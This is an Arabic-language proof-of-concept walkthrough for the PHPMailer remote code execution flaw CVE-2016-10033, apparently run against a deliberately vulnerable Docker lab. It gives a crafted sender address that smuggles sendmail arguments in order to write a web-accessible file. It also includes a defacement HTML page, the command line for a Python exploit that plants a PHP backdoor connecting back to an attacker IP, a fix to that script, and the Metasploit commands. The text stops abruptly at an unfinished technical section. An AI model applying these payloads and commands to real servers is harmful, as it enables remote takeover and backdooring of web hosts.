
إثبات المفهوم لـ CVE-2016-10033 (PHPMailer)
أولاً، دعنا نقوم بتشغيل التطبيق الضعيف.
الأمر: docker pull vulnerables/cve-2016-10033


يمكنك الآن الوصول إلى الموقع الضعيف على localhost:8080 في متصفح الويب.

إدخال الاسم: OSEC (يمكن أن يكون أي سلسلة نصية، هذا لا يؤثر على الاستغلال)
بريد إلكتروني للمرسل مُصمم: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
كيفية عمل هذا البريد الإلكتروني المُصمم للمرسل موضحة بالتفصيل في قسم وصف ناقل الهجوم. بالنسبة للمعلمات المحددة، تحدد المعلمة الثانية -oQ/tmp دليل الانتظار، وتحدد المعلمة الثالثة -X/www/pwn.html موقع ملف السجل المراد كتابته.
إذا لم يتم تحديد دليل الانتظار، فسيحاول عملية sendmail الوصول إلى دليل انتظار البريد الافتراضي (/var/spool/mqueue-client/) والذي سيكون محمياً لمنع الوصول غير المصرح به والتلاعب، وهو إجراء أمني شائع. لتجنب مشكلة الإذن هذه، يجب عليك تحديد دليل انتظار حيث يكون لدى المستخدم الذي يشغل سكريبت PHP أذونات الكتابة. عادةً، يتم استخدام دليل مثل /tmp لأنه عادةً ما يكون قابلاً للكتابة من قبل جميع المستخدمين.
إذا كان نص البريد الإلكتروني يحتوي على كود PHP، وإذا تم وضع ملف السجل المحدد في دليل يمكن الوصول إليه عبر الويب، يمكن للمهاجم تنفيذ كود PHP عن طريق الوصول إلى ملف السجل عبر متصفح الويب، مما يؤدي إلى تنفيذ كود عن بُعد.
إدخال الرسالة: هذا مجرد مثال لملف html يمكن للمهاجم تحميله. بالطبع، يمكن للمهاجم تحميل شيء أسوأ بكثير مثل باب خلفي سنقوم به في الطريقة التالية للاستغلال
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>

الأمر: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> يحدد عنوان الهدف
-cf -> يحدد موقع نموذج الاتصال داخل عنوان URL المحدد في -url. (في حالتنا هو نفس عنوان -url تمامًا لذا أضفنا شرطة مائلة فقط)
-ip -> يحدد عنوان IP للمهاجم ليتصل به الباب الخلفي
-d -> يحدد الدليل النسبي لتحميل ملف php للباب الخلفي
--post-action -> السمة name للحقل المخفي
--post-msg -> السمة name لحقل إدخال الرسالة
ملاحظة: سبب ضرورة تحديد --post-action إلى "submit" و --post-msg إلى "message" هو أن السمة name في التطبيق الضعيف الذي نستخدمه مختلفة عن القيم الافتراضية المستخدمة في سكريبت الاستغلال بلغة Python
السمات name في التطبيق الضعيف:

السمات name الافتراضية المحددة في السكريبت:


في الصورة أعلاه يمكنك رؤية أن البرنامج يحاول الوصول إلى http://127.0.0.1:8080//www/phpbackdoor9284.php وهو خطأ واضح بسبب //www. لن يعمل هذا لأنه في هذا الموقع الضعيف /www هو جذر الموقع، وبالتالي لا يمكنك الانتقال إلى http://127.0.0.1:8080/www لأن http://127.0.0.1:8080 موجود بالفعل في /www.
أيضًا في الصورة أدناه يمكننا رؤية أن الاستغلال نجح بالفعل لأنه تم إنشاء phpbackdoor9284.php بنجاح في الدليل. وبالتالي كانت المشكلة الوحيدة هي كيفية إزالة //www من عنوان URL.

عند الفحص الإضافي لسكريبت Python، تمكنا من تحديد موقع المتغير BACKDOOR_URL الذي يحدد عنوان URL لملف php للباب الخلفي.
في المتغير يمكننا رؤية أن الدليل الهدف الذي حددناه (args.TARGET_UP_DIR) يتم دمجه مع المتغير BACKDOOR_FILE.
لحل المشكلة، نحتاج إلى إزالة ذلك والشرطة المائلة الإضافية.
Before:

After:


الأوامر:
msfconsole
search CVE-2016-10033
use 1

الأوامر:
set RHOSTS 192.168.79.1 (يحدد عنوان IP للهدف)
set RPORT 8080 (يحدد منفذ الهدف)
set TARGETURI /(يحدد عنوان URL لنموذج الويب)
set WEB_ROOT /www (يحدد مكان جذر الموقع)

الأمر: exploit

لقد وصلنا إلى نهاية إثبات المفهوم.
فئة PHPMailer تستخدم دالة PHP mail() كناقل افتراضي لها.
يتم تنفيذ الناقل باستخدام الدالة mailSend():
